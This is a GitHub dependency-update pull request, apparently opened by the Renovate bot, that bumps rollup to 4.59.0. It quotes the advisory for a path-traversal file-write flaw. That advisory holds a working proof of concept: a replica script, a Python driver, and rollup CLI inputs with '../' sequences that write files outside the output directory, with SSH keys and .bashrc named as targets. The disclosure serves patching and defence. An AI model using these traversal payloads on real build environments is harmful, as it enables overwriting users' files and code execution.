Skip to content

chore(deps): update dependency rollup to v4.59.0 [security] (v1) - autoclosed#3292

Merged
Legend-Master merged 1 commit intov1from
renovate/v1-npm-rollup-vulnerability
Mar 1, 2026
Merged

chore(deps): update dependency rollup to v4.59.0 [security] (v1) - autoclosed#3292
Legend-Master merged 1 commit intov1from
renovate/v1-npm-rollup-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Mar 1, 2026

This PR contains the following updates:

Package Change Age Confidence
rollup (source) 4.55.1 → 4.59.0 age confidence

GitHub Vulnerability Alerts

CVE-2026-27606

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).

    // src/utils/sanitizeFileName.ts (Line 3)
const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;

    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.

  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.

    // src/rollup/rollup.ts (Line 317)
const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);

    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: 
    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")
    
    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()

POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

image

Impact

This is a High level of severity vulnerability.

  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Release Notes

rollup/rollup (rollup)

v4.59.0

Compare Source

2026-02-22

Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests

v4.58.0

Compare Source

2026-02-20

Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests

v4.57.1

Compare Source

2026-01-30

Bug Fixes
  • Fix heap corruption issue in Windows (#​6251)
  • Ensure exports of a dynamic import are fully included when called from a try...catch (#​6254)
Pull Requests

v4.57.0

Compare Source

2026-01-27

Features
  • Add import attributes to all plugin hooks that did not provide them yet (#​5700)
  • Deprecate returning import attributes from load or transform hooks as that will no longer be supported with rollup 5 (#​5700)
Pull Requests

v4.56.0

Compare Source

2026-01-22

Features
  • Track object property inclusions of dynamic namespace members (#​6230)
Bug Fixes
  • Handle methods that access dynamically imported namespace members via this (#​6230)
Pull Requests

v4.55.3

Compare Source

2026-01-21

Bug Fixes
  • Fix JSX semicolon insert position in variable declarations (#​6241)
Pull Requests

v4.55.2

Compare Source

2026-01-19

Bug Fixes
  • Sort manual chunks by execution order to reduce circular dependency issues (#​6240)
Pull Requests

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Mar 1, 2026
@renovate renovate bot requested a review from a team as a code owner March 1, 2026 02:10
@renovate renovate bot added the dependencies Pull requests that update a dependency file label Mar 1, 2026
@socket-security
Copy link

socket-security bot commented Mar 1, 2026

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security		 Vulnerability Quality Maintenance License
Updatednpm/​rollup@​4.55.1 ⏵ 4.59.088100 +1610099 +1100

View full report

@Legend-Master Legend-Master merged commit cfa2253 into v1 Mar 1, 2026
9 of 10 checks passed
@Legend-Master Legend-Master deleted the renovate/v1-npm-rollup-vulnerability branch March 1, 2026 03:12
@renovate renovate bot changed the title chore(deps): update dependency rollup to v4.59.0 [security] (v1) chore(deps): update dependency rollup to v4.59.0 [security] (v1) - autoclosed Mar 1, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@Legend-Master Legend-Master Legend-Master approved these changes

Assignees

No one assigned

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

1 participant

@Legend-Master